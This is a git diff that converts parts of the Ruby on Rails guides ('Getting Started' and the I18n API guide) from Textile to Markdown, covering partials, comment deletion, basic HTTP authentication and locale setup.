-+app/views/posts/show.html.erb+. +`app/views/posts/show.html.erb`. -<erb> +```html+erb <p> <strong>Title:</strong> <%= @post.title %> @@ -1482,26 +1486,27 @@ template. This is where we want the comment to show, so let's add that to the <%= link_to 'Edit Post', edit_post_path(@post) %> | <%= link_to 'Back to Posts', posts_path %> -</erb> +``` Now you can add posts and comments to your blog and have them show up in the right places. -!images/getting_started/post_with_comments.png(Post with Comments)! + -h3. Refactoring +Refactoring +----------- Now that we have posts and comments working, take a look at the -+app/views/posts/show.html.erb+ template. It is getting long and awkward. We can +`app/views/posts/show.html.erb` template. It is getting long and awkward. We can use partials to clean it up. -h4. Rendering Partial Collections +### Rendering Partial Collections First, we will make a comment partial to extract showing all the comments for the -post. Create the file +app/views/comments/_comment.html.erb+ and put the +post. Create the file `app/views/comments/_comment.html.erb` and put the following into it: -<erb> +```html+erb <p> <strong>Commenter:</strong> <%= comment.commenter %> @@ -1511,12 +1516,12 @@ following into it: <strong>Comment:</strong> <%= comment.body %> </p> -</erb> +``` -Then you can change +app/views/posts/show.html.erb+ to look like the +Then you can change `app/views/posts/show.html.erb` to look like the following: -<erb> +```html+erb <p> <strong>Title:</strong> <%= @post.title %> @@ -1547,20 +1552,20 @@ following: <%= link_to 'Edit Post', edit_post_path(@post) %> | <%= link_to 'Back to Posts', posts_path %> -</erb> +``` -This will now render the partial in +app/views/comments/_comment.html.erb+ once -for each comment that is in the +@post.comments+ collection. As the +render+ -method iterates over the <tt>@post.comments</tt> collection, it assigns each +This will now render the partial in `app/views/comments/_comment.html.erb` once +for each comment that is in the `@post.comments` collection. As the `render` +method iterates over the `@post.comments` collection, it assigns each comment to a local variable named the same as the partial, in this case -+comment+ which is then available in the partial for us to show. +`comment` which is then available in the partial for us to show. -h4. Rendering a Partial Form +### Rendering a Partial Form Let us also move that new comment section out to its own partial. Again, you -create a file +app/views/comments/_form.html.erb+ containing: +create a file `app/views/comments/_form.html.erb` containing: -<erb> +```html+erb <%= form_for([@post, @post.comments.build]) do |f| %> <p> <%= f.label :commenter %><br /> @@ -1574,11 +1579,11 @@ create a file +app/views/comments/_form.html.erb+ containing: <%= f.submit %> </p> <% end %> -</erb> +``` -Then you make the +app/views/posts/show.html.erb+ look like the following: +Then you make the `app/views/posts/show.html.erb` look like the following: -<erb> +```html+erb <p> <strong>Title:</strong> <%= @post.title %> @@ -1594,26 +1599,27 @@ Then you make the +app/views/posts/show.html.erb+ look like the following: <%= link_to 'Edit Post', edit_post_path(@post) %> | <%= link_to 'Back to Posts', posts_path %> -</erb> +``` The second render just defines the partial template we want to render, -<tt>comments/form</tt>. Rails is smart enough to spot the forward slash in that -string and realize that you want to render the <tt>_form.html.erb</tt> file in -the <tt>app/views/comments</tt> directory. +`comments/form`. Rails is smart enough to spot the forward slash in that +string and realize that you want to render the `_form.html.erb` file in +the `app/views/comments` directory. -The +@post+ object is available to any partials rendered in the view because we +The `@post` object is available to any partials rendered in the view because we defined it as an instance variable. -h3. Deleting Comments +Deleting Comments +----------------- Another important feature of a blog is being able to delete spam comments. To do -this, we need to implement a link of some sort in the view and a +DELETE+ action -in the +CommentsController+. +this, we need to implement a link of some sort in the view and a `DELETE` action +in the `CommentsController`. So first, let's add the delete link in the -+app/views/comments/_comment.html.erb+ partial: +`app/views/comments/_comment.html.erb` partial: -<erb> +```html+erb <p> <strong>Commenter:</strong> <%= comment.commenter %> @@ -1629,14 +1635,14 @@ So first, let's add the delete link in the :method => :delete, :data => { :confirm => 'Are you sure?' } %> </p> -</erb> +``` -Clicking this new "Destroy Comment" link will fire off a <tt>DELETE -/posts/:id/comments/:id</tt> to our +CommentsController+, which can then use +Clicking this new "Destroy Comment" link will fire off a `DELETE +/posts/:id/comments/:id` to our `CommentsController`, which can then use this to find the comment we want to delete, so let's add a destroy action to our controller: -<ruby> +```ruby class CommentsController < ApplicationController def create @@ -1653,29 +1659,30 @@ class CommentsController < ApplicationController end end -</ruby> +``` -The +destroy+ action will find the post we are looking at, locate the comment -within the <tt>@post.comments</tt> collection, and then remove it from the +The `destroy` action will find the post we are looking at, locate the comment +within the `@post.comments` collection, and then remove it from the database and send us back to the show action for the post. -h4. Deleting Associated Objects +### Deleting Associated Objects If you delete a post then its associated comments will also need to be deleted. Otherwise they would simply occupy space in the database. Rails allows you to -use the +dependent+ option of an association to achieve this. Modify the Post -model, +app/models/post.rb+, as follows: +use the `dependent` option of an association to achieve this. Modify the Post +model, `app/models/post.rb`, as follows: -<ruby> +```ruby class Post < ActiveRecord::Base validates :title, :presence => true, :length => { :minimum => 5 } has_many :comments, :dependent => :destroy end -</ruby> +``` -h3. Security +Security +-------- If you were to publish your blog online, anybody would be able to add, edit and delete posts or delete comments. @@ -1683,16 +1690,16 @@ delete posts or delete comments. Rails provides a very simple HTTP authentication system that will work nicely in this situation. -In the +PostsController+ we need to have a way to block access to the various +In the `PostsController` we need to have a way to block access to the various actions if the person is not authenticated, here we can use the Rails -<tt>http_basic_authenticate_with</tt> method, allowing access to the requested +`http_basic_authenticate_with` method, allowing access to the requested action if that method allows it. To use the authentication system, we specify it at the top of our -+PostsController+, in this case, we want the user to be authenticated on every -action, except for +index+ and +show+, so we write that: +`PostsController`, in this case, we want the user to be authenticated on every +action, except for `index` and `show`, so we write that: -<ruby> +```ruby class PostsController < ApplicationController http_basic_authenticate_with :name => "dhh", :password => "secret", :except => [:index, :show] @@ -1700,12 +1707,12 @@ class PostsController < ApplicationController def index @posts = Post.all # snipped for brevity -</ruby> +``` We also only want to allow authenticated users to delete comments, so in the -+CommentsController+ we write: +`CommentsController` we write: -<ruby> +```ruby class CommentsController < ApplicationController http_basic_authenticate_with :name => "dhh", :password => "secret", :only => :destroy @@ -1713,31 +1720,33 @@ class CommentsController < ApplicationController def create @post = Post.find(params[:post_id]) # snipped for brevity -</ruby> +``` Now if you try to create a new post, you will be greeted with a basic HTTP Authentication challenge -!images/challenge.png(Basic HTTP Authentication Challenge)! + -h3. What's Next? +What's Next? +------------ Now that you've seen your first Rails application, you should feel free to update it and experiment on your own. But you don't have to do everything without help. As you need assistance getting up and running with Rails, feel free to consult these support resources: -* The "Ruby on Rails guides":index.html -* The "Ruby on Rails Tutorial":http://railstutorial.org/book -* The "Ruby on Rails mailing list":http://groups.google.com/group/rubyonrails-talk -* The "#rubyonrails":irc://irc.freenode.net/#rubyonrails channel on irc.freenode.net +* The [Ruby on Rails guides](index.html) +* The [Ruby on Rails Tutorial](http://railstutorial.org/book) +* The [Ruby on Rails mailing list](http://groups.google.com/group/rubyonrails-talk) +* The [#rubyonrails](irc://irc.freenode.net/#rubyonrails) channel on irc.freenode.net Rails also comes with built-in help that you can generate using the rake command-line utility: -* Running +rake doc:guides+ will put a full copy of the Rails Guides in the +doc/guides+ folder of your application. Open +doc/guides/index.html+ in your web browser to explore the Guides. -* Running +rake doc:rails+ will put a full copy of the API documentation for Rails in the +doc/api+ folder of your application. Open +doc/api/index.html+ in your web browser to explore the API documentation. +* Running `rake doc:guides` will put a full copy of the Rails Guides in the `doc/guides` folder of your application. Open `doc/guides/index.html` in your web browser to explore the Guides. +* Running `rake doc:rails` will put a full copy of the API documentation for Rails in the `doc/api` folder of your application. Open `doc/api/index.html` in your web browser to explore the API documentation. -h3. Configuration Gotchas +Configuration Gotchas +--------------------- The easiest way to work with Rails is to store all external data as UTF-8. If you don't, Ruby libraries and Rails will often be able to convert your native @@ -1753,6 +1762,7 @@ not stored as UTF-8, it can occasionally result in these kinds of issues that cannot be automatically detected by Rails and corrected. Two very common sources of data that are not UTF-8: + * Your text editor: Most text editors (such as Textmate), default to saving files as UTF-8. If your text editor does not, this can result in special characters that you enter in your templates (such as é) to appear as a diamond with a question mark inside diff --git a/guides/source/i18n.textile b/guides/source/i18n.md index c073a146a8..f3360156cc 100644 --- a/guides/source/i18n.textile +++ b/guides/source/i18n.md @@ -1,8 +1,9 @@ -h2. Rails Internationalization (I18n) API +Rails Internationalization (I18n) API +===================================== -The Ruby I18n (shorthand for _internationalization_) gem which is shipped with Ruby on Rails (starting from Rails 2.2) provides an easy-to-use and extensible framework for *translating your application to a single custom language* other than English or for *providing multi-language support* in your application. +The Ruby I18n (shorthand for _internationalization_) gem which is shipped with Ruby on Rails (starting from Rails 2.2) provides an easy-to-use and extensible framework for **translating your application to a single custom language** other than English or for **providing multi-language support** in your application. -The process of "internationalization" usually means to abstract all strings and other locale specific bits (such as date or currency formats) out of your application. The process of "localization" means to provide translations and localized formats for these bits. [1] +The process of "internationalization" usually means to abstract all strings and other locale specific bits (such as date or currency formats) out of your application. The process of "localization" means to provide translations and localized formats for these bits.[^1] So, in the process of _internationalizing_ your Rails application you have to: @@ -18,20 +19,21 @@ In the process of _localizing_ your application you'll probably want to do the f This guide will walk you through the I18n API and contains a tutorial on how to internationalize a Rails application from the start. -endprologue. +-------------------------------------------------------------------------------- -NOTE: The Ruby I18n framework provides you with all necessary means for internationalization/localization of your Rails application. You may, however, use any of various plugins and extensions available, which add additional functionality or features. See the Rails "I18n Wiki":http://rails-i18n.org/wiki for more information. +NOTE: The Ruby I18n framework provides you with all necessary means for internationalization/localization of your Rails application. You may, however, use any of various plugins and extensions available, which add additional functionality or features. See the Rails [I18n Wiki](http://rails-i18n.org/wiki) for more information. -h3. How I18n in Ruby on Rails Works +How I18n in Ruby on Rails Works +------------------------------- Internationalization is a complex problem. Natural languages differ in so many ways (e.g. in pluralization rules) that it is hard to provide tools for solving all problems at once. For that reason the Rails I18n API focuses on: * providing support for English and similar languages out of the box * making it easy to customize and extend everything for other languages -As part of this solution, *every static string in the Rails framework* -- e.g. Active Record validation messages, time and date formats -- *has been internationalized*, so _localization_ of a Rails application means "over-riding" these defaults. +As part of this solution, **every static string in the Rails framework** -- e.g. Active Record validation messages, time and date formats -- **has been internationalized**, so _localization_ of a Rails application means "over-riding" these defaults. -h4. The Overall Architecture of the Library +### The Overall Architecture of the Library Thus, the Ruby I18n gem is split into two parts: @@ -40,78 +42,79 @@ Thus, the Ruby I18n gem is split into two parts: As a user you should always only access the public methods on the I18n module, but it is useful to know about the capabilities of the backend. -NOTE: It is possible (or even desirable) to swap the shipped Simple backend with a more powerful one, which would store translation data in a relational database, GetText dictionary, or similar. See section "Using different backends":#using-different-backends below. +NOTE: It is possible (or even desirable) to swap the shipped Simple backend with a more powerful one, which would store translation data in a relational database, GetText dictionary, or similar. See section [Using different backends](#using-different-backends) below. -h4. The Public I18n API +### The Public I18n API The most important methods of the I18n API are: -<ruby> +```ruby translate # Lookup text translations localize # Localize Date and Time objects to local formats -</ruby> +``` These have the aliases #t and #l so you can use them like this: -<ruby> +```ruby I18n.t 'store.title' I18n.l Time.now -</ruby> +``` There are also attribute readers and writers for the following attributes: -<ruby> +```ruby load_path # Announce your custom translation files locale # Get and set the current locale default_locale # Get and set the default locale exception_handler # Use a different exception_handler backend # Use a different backend -</ruby> +``` So, let's internationalize a simple Rails application from the ground up in the next chapters! -h3. Setup the Rails Application for Internationalization +Setup the Rails Application for Internationalization +---------------------------------------------------- There are just a few simple steps to get up and running with I18n support for your application. -h4. Configure the I18n Module +### Configure the I18n Module Following the _convention over configuration_ philosophy, Rails will set up your application with reasonable defaults. If you need different settings, you can overwrite them easily. -Rails adds all +.rb+ and +.yml+ files from the +config/locales+ directory to your *translations load path*, automatically. +Rails adds all `.rb` and `.yml` files from the `config/locales` directory to your **translations load path**, automatically. -The default +en.yml+ locale in this directory contains a sample pair of translation strings: +The default `en.yml` locale in this directory contains a sample pair of translation strings: -<ruby> +```ruby en: hello: "Hello world" -</ruby> +``` -This means, that in the +:en+ locale, the key _hello_ will map to the _Hello world_ string. Every string inside Rails is internationalized in this way, see for instance Active Record validation messages in the "+activerecord/lib/active_record/locale/en.yml+":https://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml file or time and date formats in the "+activesupport/lib/active_support/locale/en.yml+":https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml file. You can use YAML or standard Ruby Hashes to store translations in the default (Simple) backend. +This means, that in the `:en` locale, the key _hello_ will map to the _Hello world_ string. Every string inside Rails is internationalized in this way, see for instance Active Record validation messages in the [`activerecord/lib/active_record/locale/en.yml`](https://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml file or time and date formats in the [`activesupport/lib/active_support/locale/en.yml`](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml) file. You can use YAML or standard Ruby Hashes to store translations in the default (Simple) backend. -The I18n library will use *English* as a *default locale*, i.e. if you don't set a different locale, +:en+ will be used for looking up translations. +The I18n library will use **English** as a **default locale**, i.e. if you don't set a different locale, `:en` will be used for looking up translations. -NOTE: The i18n library takes a *pragmatic approach* to locale keys (after "some discussion":http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en), including only the _locale_ ("language") part, like +:en+, +:pl+, not the _region_ part, like +:en-US+ or +:en-GB+, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as +:cs+, +:th+ or +:es+ (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the +:en-US+ locale you would have $ as a currency symbol, while in +:en-GB+, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a +:en-GB+ dictionary. Various "Rails I18n plugins":http://rails-i18n.org/wiki such as "Globalize2":https://github.com/joshmh/globalize2/tree/master may help you implement it. +NOTE: The i18n library takes a **pragmatic approach** to locale keys (after [some discussion](http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en), including only the _locale_ ("language") part, like `:en`, `:pl`, not the _region_ part, like `:en-US` or `:en-GB`, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as `:cs`, `:th` or `:es` (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the `:en-US` locale you would have $ as a currency symbol, while in `:en-GB`, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a `:en-GB` dictionary. Various [Rails I18n plugins](http://rails-i18n.org/wiki) such as [Globalize2](ht) -The *translations load path* (+I18n.load_path+) is just a Ruby Array of paths to your translation files that will be loaded automatically and available in your application. You can pick whatever directory and translation file naming scheme makes sense for you. +The **translations load path** (`I18n.load_path`) is just a Ruby Array of paths to your translation files that will be loaded automatically and available in your application. You can pick whatever directory and translation file naming scheme makes sense for you. NOTE: The backend will lazy-load these translations when a translation is looked up for the first time. This makes it possible to just swap the backend with something else even after translations have already been announced. -The default +application.rb+ files has instructions on how to add locales from another directory and how to set a different default locale. Just uncomment and edit the specific lines. +The default `application.rb` files has instructions on how to add locales from another directory and how to set a different default locale. Just uncomment and edit the specific lines. -<ruby> +```ruby # The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded. # config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s] # config.i18n.default_locale = :de -</ruby> +``` -h4. Optional: Custom I18n Configuration Setup +### Optional: Custom I18n Configuration Setup -For the sake of completeness, let's mention that if you do not want to use the +application.rb+ file for some reason, you can always wire up things manually, too. +For the sake of completeness, let's mention that if you do not want to use the `application.rb` file for some reason, you can always wire up things manually, too. To tell the I18n library where it can find your custom translation files you can specify the load path anywhere in your application - just make sure it gets run before any translations are actually looked up. You might also want to change the default locale. The simplest thing possible is to put the following into an initializer: -<ruby> +```ruby # in config/initializers/locale.rb # tell the I18n library where to find your translations @@ -119,42 +122,42 @@ I18n.load_path += Dir[Rails.root.join('lib', 'locale', '*.{rb,yml}')] # set default locale to something other than :en I18n.default_locale = :pt -</ruby> +``` -h4. Setting and Passing the Locale +### Setting and Passing the Locale -If you want to translate your Rails application to a *single language other than English* (the default locale), you can set I18n.default_locale to your locale in +application.rb+ or an initializer as shown above, and it will persist through the requests. +If you want to translate your Rails application to a **single language other than English** (the default locale), you can set I18n.default_locale to your locale in `application.rb` or an initializer as shown above, and it will persist through the requests. -However, you would probably like to *provide support for more locales* in your application. In such case, you need to set and pass the locale between requests. +However, you would probably like to **provide support for more locales** in your application. In such case, you need to set and pass the locale between requests. -WARNING: You may be tempted to store the chosen locale in a _session_ or a <em>cookie</em>, however *do not do this*. The locale should be transparent and a part of the URL. This way you won't break people's basic assumptions about the web itself: if you send a URL to a friend, they should see the same page and content as you. A fancy word for this would be that you're being "<em>RESTful</em>":http://en.wikipedia.org/wiki/Representational_State_Transfer. Read more about the RESTful approach in "Stefan Tilkov's articles":http://www.infoq.com/articles/rest-introduction. Sometimes there are exceptions to this rule and those are discussed below. +WARNING: You may be tempted to store the chosen locale in a _session_ or a <em>cookie</em>, however **do not do this**. The locale should be transparent and a part of the URL. This way you won't break people's basic assumptions about the web itself: if you send a URL to a friend, they should see the same page and content as you. A fancy word for this would be that you're being [<em>RESTful</em>](http://en.wikipedia.org/wiki/Representational_State_Transfer. Read more about the RESTful approach in [Stefan Tilkov's articles](http://www.infoq.com/articles/rest-introduction). Sometimes there are exceptions to this rule and those are discussed below. -The _setting part_ is easy. You can set the locale in a +before_filter+ in the +ApplicationController+ like this: +The _setting part_ is easy. You can set the locale in a `before_filter` in the `ApplicationController` like this: -<ruby> +```ruby before_filter :set_locale def set_locale I18n.locale = params[:locale] || I18n.default_locale end -</ruby> +``` -This requires you to pass the locale as a URL query parameter as in +http://example.com/books?locale=pt+. (This is, for example, Google's approach.) So +http://localhost:3000?locale=pt+ will load the Portuguese localization, whereas +http://localhost:3000?locale=de+ would load the German localization, and so on. You may skip the next section and head over to the *Internationalize your application* section, if you want to try things out by manually placing the locale in the URL and reloading the page. +This requires you to pass the locale as a URL query parameter as in `http://example.com/books?locale=pt`. (This is, for example, Google's approach.) So `http://localhost:3000?locale=pt` will load the Portuguese localization, whereas `http://localhost:3000?locale=de` would load the German localization, and so on. You may skip the next section and head over to the **Internationalize your application** section, if you want to try things out by manually placing the locale in the URL and reloading the page. -Of course, you probably don't want to manually include the locale in every URL all over your application, or want the URLs look differently, e.g. the usual +http://example.com/pt/books+ versus +http://example.com/en/books+. Let's discuss the different options you have. +Of course, you probably don't want to manually include the locale in every URL all over your application, or want the URLs look differently, e.g. the usual `http://example.com/pt/books` versus `http://example.com/en/books`. Let's discuss the different options you have. -h4. Setting the Locale from the Domain Name +### Setting the Locale from the Domain Name -One option you have is to set the locale from the domain name where your application runs. For example, we want +www.example.com+ to load the English (or default) locale, and +www.example.es+ to load the Spanish locale. Thus the _top-level domain name_ is used for locale setting. This has several advantages: +One option you have is to set the locale from the domain name where your application runs. For example, we want `www.example.com` to load the English (or default) locale, and `www.example.es` to load the Spanish locale. Thus the _top-level domain name_ is used for locale setting. This has several advantages: * The locale is an _obvious_ part of the URL. * People intuitively grasp in which language the content will be displayed. * It is very trivial to implement in Rails. * Search engines seem to like that content in different languages lives at different, inter-linked domains. -You can implement it like this in your +ApplicationController+: +You can implement it like this in your `ApplicationController`: -<ruby> +```ruby before_filter :set_locale def set_locale @@ -171,11 +174,11 @@ def extract_locale_from_tld parsed_locale = request.host.split('.').last I18n.available_locales.include?(parsed_locale.to_sym) ? parsed_locale : nil end -</ruby> +``` We can also set the locale from the _subdomain_ in a very similar way: -<ruby> +```ruby # Get locale code from request subdomain (like http://it.application.local:3000) # You have to put something like: # 127.0.0.1 gr.application.local @@ -184,89 +187,89 @@ def extract_locale_from_subdomain parsed_locale = request.subdomains.first I18n.available_locales.include?(parsed_locale.to_sym) ? parsed_locale : nil end -</ruby> +``` If your application includes a locale switching menu, you would then have something like this in it: -<ruby> +```ruby link_to("Deutsch", "#{APP_CONFIG[:deutsch_website_url]}#{request.env['REQUEST_URI']}") -</ruby> +``` -assuming you would set +APP_CONFIG[:deutsch_website_url]+ to some value like +http://www.application.de+. +assuming you would set `APP_CONFIG[:deutsch_website_url]` to some value like `http://www.application.de`. This solution has aforementioned advantages, however, you may not be able or may not want to provide different localizations ("language versions") on different domains. The most obvious solution would be to include locale code in the URL params (or request path). -h4. Setting the Locale from the URL Params +### Setting the Locale from the URL Params -The most usual way of setting (and passing) the locale would be to include it in URL params, as we did in the +I18n.locale = params[:locale]+ _before_filter_ in the first example. We would like to have URLs like +www.example.com/books?locale=ja+ or +www.example.com/ja/books+ in this case. +The most usual way of setting (and passing) the locale would be to include it in URL params, as we did in the `I18n.locale = params[:locale]` _before_filter_ in the first example. We would like to have URLs like `www.example.com/books?locale=ja` or `www.example.com/ja/books` in this case. This approach has almost the same set of advantages as setting the locale from the domain name: namely that it's RESTful and in accord with the rest of the World Wide Web. It does require a little bit more work to implement, though. -Getting the locale from +params+ and setting it accordingly is not hard; including it in every URL and thus *passing it through the requests* is. To include an explicit option in every URL (e.g. +link_to( books_url(:locale => I18n.locale))+) would be tedious and probably impossible, of course. +Getting the locale from `params` and setting it accordingly is not hard; including it in every URL and thus **passing it through the requests** is. To include an explicit option in every URL (e.g. `link_to( books_url(:locale => I18n.locale))`) would be tedious and probably impossible, of course. -Rails contains infrastructure for "centralizing dynamic decisions about the URLs" in its "+ApplicationController#default_url_options+":http://api.rubyonrails.org/classes/ActionController/Base.html#M000515, which is useful precisely in this scenario: it enables us to set "defaults" for "+url_for+":http://api.rubyonrails.org/classes/ActionController/Base.html#M000503 and helper methods dependent on it (by implementing/overriding this method). +Rails contains infrastructure for "centralizing dynamic decisions about the URLs" in its [`ApplicationController#default_url_options`](http://api.rubyonrails.org/classes/ActionController/Base.html#M000515, which is useful precisely in this scenario: it enables us to set "defaults" for [`url_for`](http://api.rubyonrails.org/classes/ActionController/Base.html#M000503) and helper methods dependent on it (by implementing/overriding this method). -We can include something like this in our +ApplicationController+ then: +We can include something like this in our `ApplicationController` then: -<ruby> +```ruby # app/controllers/application_controller.rb def default_url_options(options={}) logger.debug "default_url_options is passed options: #{options.inspect}\n" { :locale => I18n.locale } end -</ruby> +``` -Every helper method dependent on +url_for+ (e.g. helpers for named routes like +root_path+ or +root_url+, resource routes like +books_path+ or +books_url+, etc.) will now *automatically include the locale in the query string*, like this: +http://localhost:3001/?locale=ja+. +Every helper method dependent on `url_for` (e.g. helpers for named routes like `root_path` or `root_url`, resource routes like `books_path` or `books_url`, etc.) will now **automatically include the locale in the query string**, like this: `http://localhost:3001/?locale=ja`. You may be satisfied with this. It does impact the readability of URLs, though, when the locale "hangs" at the end of every URL in your application. Moreover, from the architectural standpoint, locale is usually hierarchically above the other parts of the application domain: and URLs should reflect this. -You probably want URLs to look like this: +www.example.com/en/books+ (which loads the English locale) and +www.example.com/nl/books+ (which loads the Dutch locale). This is achievable with the "over-riding +default_url_options+" strategy from above: you just have to set up your routes with "+scoping+":http://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Scoping.html option in this way: +You probably want URLs to look like this: `www.example.com/en/books` (which loads the English locale) and `www.example.com/nl/books` (which loads the Dutch locale). This is achievable with the "over-riding `default_url_options`" strategy from above: you just have to set up your routes with [`scoping`](http://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Scoping.html) option in this way: -<ruby> +```ruby # config/routes.rb scope "/:locale" do resources :books end -</ruby> +``` -Now, when you call the +books_path+ method you should get +"/en/books"+ (for the default locale). An URL like +http://localhost:3001/nl/books+ should load the Dutch locale, then, and following calls to +books_path+ should return +"/nl/books"+ (because the locale changed). +Now, when you call the `books_path` method you should get `"/en/books"` (for the default locale). An URL like `http://localhost:3001/nl/books` should load the Dutch locale, then, and following calls to `books_path` should return `"/nl/books"` (because the locale changed). If you don't want to force the use of a locale in your routes you can use an optional path scope (denoted by the parentheses) like so: -<ruby> +```ruby # config/routes.rb scope "(:locale)", :locale => /en|nl/ do resources :books end -</ruby> +``` -With this approach you will not get a +Routing Error+ when accessing your resources such as +http://localhost:3001/books+ without a locale. This is useful for when you want to use the default locale when one is not specified. +With this approach you will not get a `Routing Error` when accessing your resources such as `http://localhost:3001/books` without a locale. This is useful for when you want to use the default locale when one is not specified. -Of course, you need to take special care of the root URL (usually "homepage" or "dashboard") of your application. An URL like +http://localhost:3001/nl+ will not work automatically, because the +root :to => "books#index"+ declaration in your +routes.rb+ doesn't take locale into account. (And rightly so: there's only one "root" URL.) +Of course, you need to take special care of the root URL (usually "homepage" or "dashboard") of your application. An URL like `http://localhost:3001/nl` will not work automatically, because the `root :to => "books#index"` declaration in your `routes.rb` doesn't take locale into account. (And rightly so: there's only one "root" URL.) You would probably need to map URLs like these: -<ruby> +```ruby # config/routes.rb match '/:locale' => 'dashboard#index' -</ruby> +``` -Do take special care about the *order of your routes*, so this route declaration does not "eat" other ones. (You may want to add it directly before the +root :to+ declaration.) +Do take special care about the **order of your routes**, so this route declaration does not "eat" other ones. (You may want to add it directly before the `root :to` declaration.) -NOTE: Have a look at two plugins which simplify work with routes in this way: Sven Fuchs's "routing_filter":https://github.com/svenfuchs/routing-filter/tree/master and Raul Murciano's "translate_routes":https://github.com/raul/translate_routes/tree/master. +NOTE: Have a look at two plugins which simplify work with routes in this way: Sven Fuchs's [routing_filter](https://github.com/svenfuchs/routing-filter/tree/master and Raul Murciano's [translate_routes](https://github.com/raul/translate_routes/tree/master). -h4. Setting the Locale from the Client Supplied Information +### Setting the Locale from the Client Supplied Information In specific cases, it would make sense to set the locale from client-supplied information, i.e. not from the URL. This information may come for example from the users' preferred language (set in their browser), can be based on the users' geographical location inferred from their IP, or users can provide it simply by choosing the locale in your application interface and saving it to their profile. This approach is more suitable for web-based applications or services, not for websites -- see the box about _sessions_, _cookies_ and RESTful architecture above. -h5. Using +Accept-Language+ +#### Using `Accept-Language` -One source of client supplied information would be an +Accept-Language+ HTTP header. People may "set this in their browser":http://www.w3.org/International/questions/qa-lang-priorities or other clients (such as _curl_). +One source of client supplied information would be an `Accept-Language` HTTP header. People may [set this in their browser](http://www.w3.org/International/questions/qa-lang-priorities) or other clients (such as _curl_). -A trivial implementation of using an +Accept-Language+ header would be: +A trivial implementation of using an `Accept-Language` header would be: -<ruby> +```ruby def set_locale logger.debug "* Accept-Language: #{request.env['HTTP_ACCEPT_LANGUAGE']}" I18n.locale = extract_locale_from_accept_language_header @@ -276,19 +279,20 @@ private def extract_locale_from_accept_language_header request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first end -</ruby> +``` -Of course, in a production environment you would need much more robust code, and could use a plugin such as Iain Hecker's "http_accept_language":https://github.com/iain/http_accept_language/tree/master or even Rack middleware such as Ryan Tomayko's "locale":https://github.com/rack/rack-contrib/blob/master/lib/rack/contrib/locale.rb. +Of course, in a production environment you would need much more robust code, and could use a plugin such as Iain Hecker's [http_accept_language](https://github.com/iain/http_accept_language/tree/master or even Rack middleware such as Ryan Tomayko's [locale](https://github.com/rack/rack-contrib/blob/master/lib/rack/contrib/locale.rb). -h5. Using GeoIP (or Similar) Database +#### Using GeoIP (or Similar) Database -Another way of choosing the locale from client information would be to use a database for mapping the client IP to the region, such as "GeoIP Lite Country":http://www.maxmind.com/app/geolitecountry. The mechanics of the code would be very similar to the code above -- you would need to query the database for the user's IP, and look up your preferred locale for the country/region/city returned. +Another way of choosing the locale from client information would be to use a database for mapping the client IP to the region, such as [GeoIP Lite Country](http://www.maxmind.com/app/geolitecountry). The mechanics of the code would be very similar to the code above -- you would need to query the database for the user's IP, and look up your preferred locale for the country/region/city returned. -h5. User Profile +#### User Profile You can also provide users of your application with means to set (and possibly over-ride) the locale in your application interface, as well. Again, mechanics for this approach would be very similar to the code above -- you'd probably let users choose a locale from a dropdown list and save it to their profile in the database. Then you'd set the locale to this value. -h3. Internationalizing your Application +Internationalizing your Application +----------------------------------- OK! Now you've initialized I18n support for your Ruby on Rails application and told it which locale to use and how to preserve it between requests. With that in place, you're now ready for the really interesting stuff. @@ -296,52 +300,58 @@ Let's _internationalize_ our application, i.e. abstract every locale-specific pa You most probably have something like this in one of your applications: -<ruby> +```ruby # config/routes.rb Yourapp::Application.routes.draw do root :to => "home#index" end +``` +```ruby # app/controllers/home_controller.rb class HomeController < ApplicationController def index flash[:notice] = "Hello Flash" end end +``` +```html+erb # app/views/home/index.html.erb <h1>Hello World</h1> <p><%= flash[:notice] %></p> -</ruby> +``` -!images/i18n/demo_untranslated.png(rails i18n demo untranslated)! + -h4. Adding Translations +### Adding Translations -Obviously there are *two strings that are localized to English*. In order to internationalize this code, *replace these strings* with calls to Rails' +#t+ helper with a key that makes sense for the translation: +Obviously there are **two strings that are localized to English**. In order to internationalize this code, **replace these strings** with calls to Rails' `#t` helper with a key that makes sense for the translation: -<ruby> +```ruby # app/controllers/home_controller.rb class HomeController < ApplicationController def index flash[:notice] = t(:hello_flash) end end +``` +```html+erb # app/views/home/index.html.erb <h1><%=t :hello_world %></h1> <p><%= flash[:notice] %></p> -</ruby> +``` -When you now render this view, it will show an error message which tells you that the translations for the keys +:hello_world+ and +:hello_flash+ are missing. +When you now render this view, it will show an error message which tells you that the translations for the keys `:hello_world` and `:hello_flash` are missing. -!images/i18n/demo_translation_missing.png(rails i18n demo translation missing)! + -NOTE: Rails adds a +t+ (+translate+) helper method to your views so that you do not need to spell out +I18n.t+ all the time. Additionally this helper will catch missing translations and wrap the resulting error message into a +<span class="translation_missing">+. +NOTE: Rails adds a `t` (`translate`) helper method to your views so that you do not need to spell out `I18n.t` all the time. Additionally this helper will catch missing translations and wrap the resulting error message into a `<span class="translation_missing">`. So let's add the missing translations into the dictionary files (i.e. do the "localization" part): -<ruby> +```ruby # config/locales/en.yml en: hello_world: Hello world! @@ -351,77 +361,79 @@ en: pirate: hello_world: Ahoy World hello_flash: Ahoy Flash -</ruby> +``` There you go. Because you haven't changed the default_locale, I18n will use English. Your application now shows: -!images/i18n/demo_translated_en.png(rails i18n demo translated to English)! + -And when you change the URL to pass the pirate locale 